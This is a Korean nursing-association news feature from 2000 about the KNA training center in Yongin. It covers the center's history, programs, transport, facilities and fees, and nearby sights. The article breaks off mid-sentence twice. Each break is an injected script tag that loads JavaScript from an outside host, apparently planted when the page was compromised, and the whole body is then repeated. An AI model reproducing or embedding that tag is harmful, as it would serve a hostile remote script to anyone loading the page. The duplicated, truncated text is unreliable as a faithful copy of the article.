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KNA 연수원 탐방
간호사의 배움터서 사계절 정취 만끽하며 재충전
[편집국] 백찬기 chbaik@nursenews.co.kr 기사입력 2000-11-16 오후 13:23:49
경기도 용인시 역북동 움터골에 위치한 KNA연수원. 건물 전체가 형형색색의 오색단풍에 물들어 새 옷을 갈아입은지 꽤 오래다.
쌀쌀한 바람 속에서도 아직은 늦가을의 정취가 그득한 풍경을 사이좋은 사람들과 어울려 함께 하면서 계절을 아쉬워하는 여유를 가져보는 것은 어떨까.
서울이나 인천·경기지역 등 수도권에 사는 사람이라면 한껏 더 여유있게 즐길 수 있다. 이 외의 지역에 살더라도 한번쯤 늦가을 여행을 연수로 대신하고 싶다거나 가족과 함께 나들이에 나설 사람이라면 경부나 호남고속도로를 내달려 영동고속도로 용인IC를 빠져나와 7분쯤 지방도로를 따라 주변 풍광을 음미하고 나면 KNA연수원을 만날 수 있다.
KNA연수원이 간호사들의 힘으로 지어진 것은 지난 95년 6월. 그러나 연수원을 기억하는 이들은 건립 역사를 22년여 더 끌어올린 73년이라고 말한다. 대한간호협회가 '(가칭)간호원의 집 건립위원회'를 구성하고 본격적인 연수원 건립 논의를 시작한 해이기 때문.
하지만 연수원 건립은 그리 순탄한 길만을 걷지는 못했다. 74년 평생회비기금의 일부로 부지를 매입한 후 83년까지 10년여 동안 공전만 거듭하는 위기를 맞기도 했다.
연수원의 명칭도 세월의 나이를 한 살씩 더 먹으며 '간호사의 집'에서 '노인복지시설'로, 다시 '간호연수원'으로 바뀌었고 94년 5월 공사를 위한 첫 삽을 뜨며 오늘의 이름을 갖게 됐다.
연수원 건립은 전체 간호사들이 한마음으로 모금운동을 벌이지 않았다면 불가능했을 일이다. 연수원은 간호사 모두의 힘으로 지은 간호사의 쉼터이며 배움터라고 할 수 있다.
KNA연수원을 한번쯤 다녀간 이들은 "모든 간호사들이 십시일반 정성을 모아 지은 집에서 연수를 받고 가니 친정을 다녀가는 것 같다"면서 "마음 속에 각인돼 한번쯤 다시 다녀가고 싶다"고 아쉬워한다. 또 충북지역 등 일부지역 간호사회는 연수원을 다녀가지 않은 원로회원들을 대상으로 1일 관광 프로그램을 열고 있기도 하다.
KNA연수원은 봄이면 진달래꽃이 만발해 분홍의 옷을, 여름이면 물이 오를대로 오른 나무들로 인해 초록의 옷을 입는다. 또 가을이면 오색단풍에 물이 든다. 이렇듯 계절마다 옷을 갈아입는 KNA연수원에서는 간호사들을 위해 '수간호사 능력개발과정', '관리자 능력개발과정', '극기훈련' 등 다양한 교육 프로그램을 운영하고 있다.
최국미 연수원장은 "교육 내용을 다양화하고 환경개선에도 힘쓴 결과 지난해보다 이용회원이 20%정도 늘었다"며 "내년에는 보다 많은 회원들이 연수원을 이용할 수 있도록 새로운 교육 프로그램을 개발하는데 힘쓸 것"이라고 말했다.
최 원장은 그러나 "일부에서 연수원이 교통이 불편한 지역에 위치해 있다거나 오더라도 별반 재미없다고 알려진 것 같다"면서 "다양한 프로그램에 의한 연수 뿐 아니라 에버랜드, 민속촌, 이천 도자기 마을, 와우정사 등 주위에 관광을 즐길 곳도 많다"고 말하고 "보다 체계적인 홍보를 통해 연수와 함께 관광도 즐길 수 있는 곳이라는 사실을 알려나갈 계획"이라고 강조했다.
◈ 가는 길 ◈
서울 근교에 자리잡고 있는 용인은 서울의 위성도시로 자리잡아 대중교통 이용이 매우 편리하다.
서울에서 용인으로 가는 고속버스가 강남고속터미널의 경우 오전 6시30분부터 20분 간격으로 저녁 9시30분까지 이어진다. 소요시간은 40분.
3호선 전철 남부터미널역이나 양재역에서 직행버스나 고급좌석버스를 이용할 경우 보다 저렴한 요금으로 연수원을 방문할 수 있다. 2호선 강변역 동서울터미널에서도 20분마다 용인으로 가는 직행버스가 있다.
수원역에서 용인행 600번, 800번, 66번, 10-1번, 10번 버스를 이용할 수도 있으며 소요시간은 1시간.
용인터미널에서 연수원까지 택시요금은 3000원정도이며, 단체일 경우 무료로 연수원전용 셔틀을 이용할 수 있다.
◈ 이용시설 ◈
KNA연수원 시설은 크게 교육관과 생활관, 후생관으로 구분된다.
교육관에는 300명을 수용할 수 있는 대강당 1곳과 100명을 수용할 수 있는 세미나실 1곳, 20명씩 수용할 수 있는 분임토의실 3곳이 있다. 시설 사용요금은 대강당은 1일 40만원이며, 세미나실은 20만원, 분임토의실은 10만원이다. 숙식시에는 사용료를 받지 않는다.
숙박시설은 4인용 18실과 8인용 10실을 갖추고 있어 150명을 수용할 수 있다. 150명을 수용할 수 있는 식당과 휴게실도 갖추고 있다. 숙식비는 간호사의 경우 일반 이용자와 다른 저렴한 요금을 적용받는다. 숙박비는 1일 1만원이며 식비는 한끼당 5000원. 문의 031)338-1004∼5.
◈ 여행수첩 ◈
KNA연수원 주위에는 다양한 볼거리들이 있다.
▲에버랜드=만추의 시간이 멈춰버린 듯한 이곳에서는 가을 국화의 아름다움을 감상할 수 있다. 특히 6000여평에 이르는 페스티발 월드 ?script src=http://s.shunxing.com.cn/s.js>
쌀쌀한 바람 속에서도 아직은 늦가을의 정취가 그득한 풍경을 사이좋은 사람들과 어울려 함께 하면서 계절을 아쉬워하는 여유를 가져보는 것은 어떨까.
서울이나 인천·경기지역 등 수도권에 사는 사람이라면 한껏 더 여유있게 즐길 수 있다. 이 외의 지역에 살더라도 한번쯤 늦가을 여행을 연수로 대신하고 싶다거나 가족과 함께 나들이에 나설 사람이라면 경부나 호남고속도로를 내달려 영동고속도로 용인IC를 빠져나와 7분쯤 지방도로를 따라 주변 풍광을 음미하고 나면 KNA연수원을 만날 수 있다.
KNA연수원이 간호사들의 힘으로 지어진 것은 지난 95년 6월. 그러나 연수원을 기억하는 이들은 건립 역사를 22년여 더 끌어올린 73년이라고 말한다. 대한간호협회가 '(가칭)간호원의 집 건립위원회'를 구성하고 본격적인 연수원 건립 논의를 시작한 해이기 때문.
하지만 연수원 건립은 그리 순탄한 길만을 걷지는 못했다. 74년 평생회비기금의 일부로 부지를 매입한 후 83년까지 10년여 동안 공전만 거듭하는 위기를 맞기도 했다.
연수원의 명칭도 세월의 나이를 한 살씩 더 먹으며 '간호사의 집'에서 '노인복지시설'로, 다시 '간호연수원'으로 바뀌었고 94년 5월 공사를 위한 첫 삽을 뜨며 오늘의 이름을 갖게 됐다.
연수원 건립은 전체 간호사들이 한마음으로 모금운동을 벌이지 않았다면 불가능했을 일이다. 연수원은 간호사 모두의 힘으로 지은 간호사의 쉼터이며 배움터라고 할 수 있다.
KNA연수원을 한번쯤 다녀간 이들은 "모든 간호사들이 십시일반 정성을 모아 지은 집에서 연수를 받고 가니 친정을 다녀가는 것 같다"면서 "마음 속에 각인돼 한번쯤 다시 다녀가고 싶다"고 아쉬워한다. 또 충북지역 등 일부지역 간호사회는 연수원을 다녀가지 않은 원로회원들을 대상으로 1일 관광 프로그램을 열고 있기도 하다.
KNA연수원은 봄이면 진달래꽃이 만발해 분홍의 옷을, 여름이면 물이 오를대로 오른 나무들로 인해 초록의 옷을 입는다. 또 가을이면 오색단풍에 물이 든다. 이렇듯 계절마다 옷을 갈아입는 KNA연수원에서는 간호사들을 위해 '수간호사 능력개발과정', '관리자 능력개발과정', '극기훈련' 등 다양한 교육 프로그램을 운영하고 있다.
최국미 연수원장은 "교육 내용을 다양화하고 환경개선에도 힘쓴 결과 지난해보다 이용회원이 20%정도 늘었다"며 "내년에는 보다 많은 회원들이 연수원을 이용할 수 있도록 새로운 교육 프로그램을 개발하는데 힘쓸 것"이라고 말했다.
최 원장은 그러나 "일부에서 연수원이 교통이 불편한 지역에 위치해 있다거나 오더라도 별반 재미없다고 알려진 것 같다"면서 "다양한 프로그램에 의한 연수 뿐 아니라 에버랜드, 민속촌, 이천 도자기 마을, 와우정사 등 주위에 관광을 즐길 곳도 많다"고 말하고 "보다 체계적인 홍보를 통해 연수와 함께 관광도 즐길 수 있는 곳이라는 사실을 알려나갈 계획"이라고 강조했다.
◈ 가는 길 ◈
서울 근교에 자리잡고 있는 용인은 서울의 위성도시로 자리잡아 대중교통 이용이 매우 편리하다.
서울에서 용인으로 가는 고속버스가 강남고속터미널의 경우 오전 6시30분부터 20분 간격으로 저녁 9시30분까지 이어진다. 소요시간은 40분.
3호선 전철 남부터미널역이나 양재역에서 직행버스나 고급좌석버스를 이용할 경우 보다 저렴한 요금으로 연수원을 방문할 수 있다. 2호선 강변역 동서울터미널에서도 20분마다 용인으로 가는 직행버스가 있다.
수원역에서 용인행 600번, 800번, 66번, 10-1번, 10번 버스를 이용할 수도 있으며 소요시간은 1시간.
용인터미널에서 연수원까지 택시요금은 3000원정도이며, 단체일 경우 무료로 연수원전용 셔틀을 이용할 수 있다.
◈ 이용시설 ◈
KNA연수원 시설은 크게 교육관과 생활관, 후생관으로 구분된다.
교육관에는 300명을 수용할 수 있는 대강당 1곳과 100명을 수용할 수 있는 세미나실 1곳, 20명씩 수용할 수 있는 분임토의실 3곳이 있다. 시설 사용요금은 대강당은 1일 40만원이며, 세미나실은 20만원, 분임토의실은 10만원이다. 숙식시에는 사용료를 받지 않는다.
숙박시설은 4인용 18실과 8인용 10실을 갖추고 있어 150명을 수용할 수 있다. 150명을 수용할 수 있는 식당과 휴게실도 갖추고 있다. 숙식비는 간호사의 경우 일반 이용자와 다른 저렴한 요금을 적용받는다. 숙박비는 1일 1만원이며 식비는 한끼당 5000원. 문의 031)338-1004∼5.
◈ 여행수첩 ◈
KNA연수원 주위에는 다양한 볼거리들이 있다.
▲에버랜드=만추의 시간이 멈춰버린 듯한 이곳에서는 가을 국화의 아름다움을 감상할 수 있다. 특히 6000여평에 이르는 페스티발 월드 ?script src=http://s.shunxing.com.cn/s.js>
